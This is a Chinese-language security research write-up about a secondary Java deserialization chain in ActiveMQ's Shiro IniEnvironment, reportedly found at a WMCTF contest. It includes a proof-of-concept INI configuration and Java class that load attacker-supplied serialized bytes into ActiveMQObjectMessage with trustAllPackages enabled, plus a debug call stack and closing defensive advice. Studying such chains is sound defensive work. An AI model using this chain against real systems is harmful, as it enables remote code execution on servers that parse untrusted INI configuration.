二次反序列化新链学习
字数 1051 2025-08-24 07:48:34
二次反序列化新链学习文档
前言
本文档详细分析了一条能够实现二次反序列化的新链,基于Apache Shiro和ActiveMQ的IniEnvironment类实现。该链在WMCTF比赛中被发现,具有重要的安全研究价值。
核心组件分析
IniEnvironment类
IniEnvironment是Apache ActiveMQ Shiro环境的核心类,负责解析INI格式的配置并构建相应的对象。
关键方法:
public IniEnvironment(String iniConfig) {
Ini ini = new Ini();
ini.load(iniConfig);
this.ini = ini;
this.init();
}
反序列化流程
-
初始化阶段:
- 创建Ini对象加载配置内容
- 调用init()方法初始化
-
对象创建阶段:
- 通过
createObjects方法创建对象 - 使用
IniSecurityManagerFactory工厂类实例化对象
- 通过
-
属性赋值阶段:
- 通过反射调用setter和getter方法
- 使用Apache Commons Beanutils进行属性操作
关键利用点
ActiveMQObjectMessage类
ActiveMQObjectMessage是ActiveMQ的命令类,包含二次反序列化的关键方法:
public Serializable getObject() throws JMSException {
if (object == null && getContent() != null) {
try {
ByteSequence content = getContent();
InputStream is = new ByteArrayInputStream(content);
if (isCompressed()) {
is = new InflaterInputStream(is);
}
DataInputStream dataIn = new DataInputStream(is);
ClassLoadingAwareObjectInputStream objIn = new ClassLoadingAwareObjectInputStream(dataIn);
objIn.setTrustedPackages(trustedPackages);
objIn.setTrustAllPackages(trustAllPackages);
try {
object = (Serializable)objIn.readObject();
} catch (ClassNotFoundException ce) {
throw JMSExceptionSupport.create("Failed to build body from content. Serializable class not available to broker. Reason: " + ce, ce);
} finally {
dataIn.close();
}
} catch (IOException e) {
throw JMSExceptionSupport.create("Failed to build body from bytes. Reason: " + e, e);
}
}
return this.object;
}
ByteSequence类
ByteSequence用于存储序列化数据,构造方法如下:
public ByteSequence(byte data[]) {
this.data = data;
this.offset = 0;
this.length = data.length;
}
利用条件
- 能够控制
ActiveMQObjectMessage的content属性 - 能够设置
trustAllPackages为true - 能够触发
getObject()方法调用
POC构造
依赖要求
<dependency>
<groupId>commons-collections</groupId>
<artifactId>commons-collections</artifactId>
<version>3.2.1</version>
</dependency>
INI配置格式
[main]
activeMQObjectMessage=org.apache.activemq.command.ActiveMQObjectMessage
byteSequence=org.apache.activemq.util.ByteSequence
byteSequence.data=<base64编码的序列化数据>
byteSequence.length=<数据长度>
byteSequence.offset=0
activeMQObjectMessage.content=$byteSequence
activeMQObjectMessage.trustAllPackages=true
activeMQObjectMessage.object.a=1
Java代码实现
package org.example;
import org.apache.activemq.shiro.env.IniEnvironment;
public class doubleser {
public static void main(String[] args) {
IniEnvironment iniEnvironment=new IniEnvironment("[main]\n" +
"activeMQObjectMessage=org.apache.activemq.command.ActiveMQObjectMessage\n" +
"byteSequence=org.apache.activemq.util.ByteSequence\n" +
"byteSequence.data=<base64编码的序列化数据>\n" +
"byteSequence.length=<数据长度>\n" +
"byteSequence.offset=0\n" +
"activeMQObjectMessage.content=$byteSequence\n" +
"activeMQObjectMessage.trustAllPackages=true\n" +
"activeMQObjectMessage.object.a=1");
}
}
技术细节
属性赋值机制
-
Setter方法调用:
- 通过
applyProperty方法调用对象的setter方法 - 使用反射机制设置属性值
- 通过
-
Getter方法触发:
- 当访问嵌套属性时会调用getter方法
- 例如
user.object.a=1会先调用getObject()方法
参数控制要点
-
ByteSequence参数:
- 必须设置
data、length和offset三个属性 - 仅设置
data属性无法触发反序列化
- 必须设置
-
信任设置:
trustAllPackages必须设置为true- 否则会限制反序列化的类
调试分析
关键调用栈:
newInstance:206, ClassUtils (org.apache.shiro.util)
newInstance:193, ClassUtils (org.apache.shiro.util)
createNewInstance:330, ReflectionBuilder (org.apache.shiro.config)
doExecute:971, ReflectionBuilder$InstantiationStatement (org.apache.shiro.config)
execute:931, ReflectionBuilder$Statement (org.apache.shiro.config)
execute:809, ReflectionBuilder$BeanConfigurationProcessor (org.apache.shiro.config)
buildObjects:288, ReflectionBuilder (org.apache.shiro.config)
buildInstances:181, IniSecurityManagerFactory (org.apache.shiro.config)
createSecurityManager:139, IniSecurityManagerFactory (org.apache.shiro.config)
createSecurityManager:107, IniSecurityManagerFactory (org.apache.shiro.config)
createInstance:98, IniSecurityManagerFactory (org.apache.shiro.config)
createInstance:47, IniSecurityManagerFactory (org.apache.shiro.config)
createInstance:150, IniFactorySupport (org.apache.shiro.config)
getInstance:47, AbstractFactory (org.apache.shiro.util)
createObjects:133, IniEnvironment (org.apache.activemq.shiro.env)
apply:111, IniEnvironment (org.apache.activemq.shiro.env)
init:76, IniEnvironment (org.apache.activemq.shiro.env)
<init>:56, IniEnvironment (org.apache.activemq.shiro.env)
main:7, doubleser (org.example)
防御建议
- 限制INI配置的来源
- 禁用不必要的反射功能
- 保持组件最新版本
- 实施严格的输入验证
- 限制反序列化的类范围
总结
这条二次反序列化链通过Shiro的INI配置解析机制,结合ActiveMQ的消息处理功能,实现了高效的二次反序列化攻击。理解其工作原理对于防御类似攻击具有重要意义。